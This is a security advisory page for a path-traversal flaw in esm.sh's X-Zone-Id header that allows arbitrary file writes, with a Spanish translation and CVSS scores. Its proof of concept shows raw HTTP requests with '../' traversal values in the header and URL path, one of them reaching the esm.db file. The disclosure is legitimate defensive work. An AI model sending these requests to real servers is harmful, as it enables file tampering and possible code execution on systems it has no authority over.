esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a path-traversal flaw in the handling of…
GitHub_M·CWE-24·Published 2025-09-17
esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories. Version 136.1 contains a patch.
esm.sh is a nobuild content delivery network(CDN) for modern web development. In 136 and earlier, a path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories. Version 136.1 contains a patch.
esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header in github.com/esm-dev/esm.sh
## Summary A path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform/<id>/` instead of `~/.esmd/storage/modules/transform`). **Severity:** Medium **Component / Endpoint:** `POST /transform` — handling of `X-Zone-Id` header The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411 **Impact:** Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks. --- ## Proof of Concept (POC) Request (attacker-supplied `X-Zone-Id` contains path traversal): ``` POST /transform HTTP/1.1 Host: localhost:8888 User-Agent: Den/8.7.1 Accept: */* Connection: keep-alive Referer: http://localhost:9999/ Content-Type: application/json X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/ Content-Length: 325 { "filename": "example2.js", "lang": "js", "code": "console.log('hello');", "importMap": { "imports": { "react": "https://esm.sh/react", "react-dom": "https://esm.sh/react-dom" } }, "jsxImportSource": "react", "target": "es2022", "sourceMap": "external", "minify": true } ``` <img width="2496" height="1214" alt="Screenshot 2025-09-16 at 21 40 57" src="https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db" /> Observed result: file written to `~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js` instead of the intended `~/.esmd/storage/modules/transform/`. This can be trigger with another path traversal request below ``` GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1 Host: localhost:8888 User-Agent: localhost Accept: */* Connection: keep-alive X-Zone-Id: ../ Referer: http://localhost:9999/ ``` <img width="2516" height="710" alt="Screenshot 2025-09-16 at 21 37 07" src="https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685" /> --- ## Remediation Simply remove any .. in the `X-Zone-Id` header before actually process the file. ## Credits - [Ai Ho (Jessie)](https://github.com/j3ssie) - [CL Yang](https://github.com/A11riseforme)
esm.sh es una red de entrega de contenido (CDN) sin compilación para el desarrollo web moderno. En 136 y anteriores, una falla de path traversal en el manejo del encabezado HTTP X-Zone-Id permite a un atacante hacer que la aplicación escriba archivos fuera de la ubicación de almacenamiento prevista. El valor del encabezado se utiliza para construir una ruta del sistema de archivos, pero no se canonicaliza correctamente ni se restringe al directorio base de almacenamiento de la aplicación. Como resultado, suministrar secuencias ../ en X-Zone-Id hace que los archivos se escriban en directorios arbitrarios.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 4.0 | Primary | cve.org | 5.5 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P |
| 4.0 | Primary | cve.org | 5.5 | — | — |
| CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P |
| 4.0 | Secondary | NVD | 5.5 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| 4.0 | Secondary | GHSA | 5.5 | — | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P |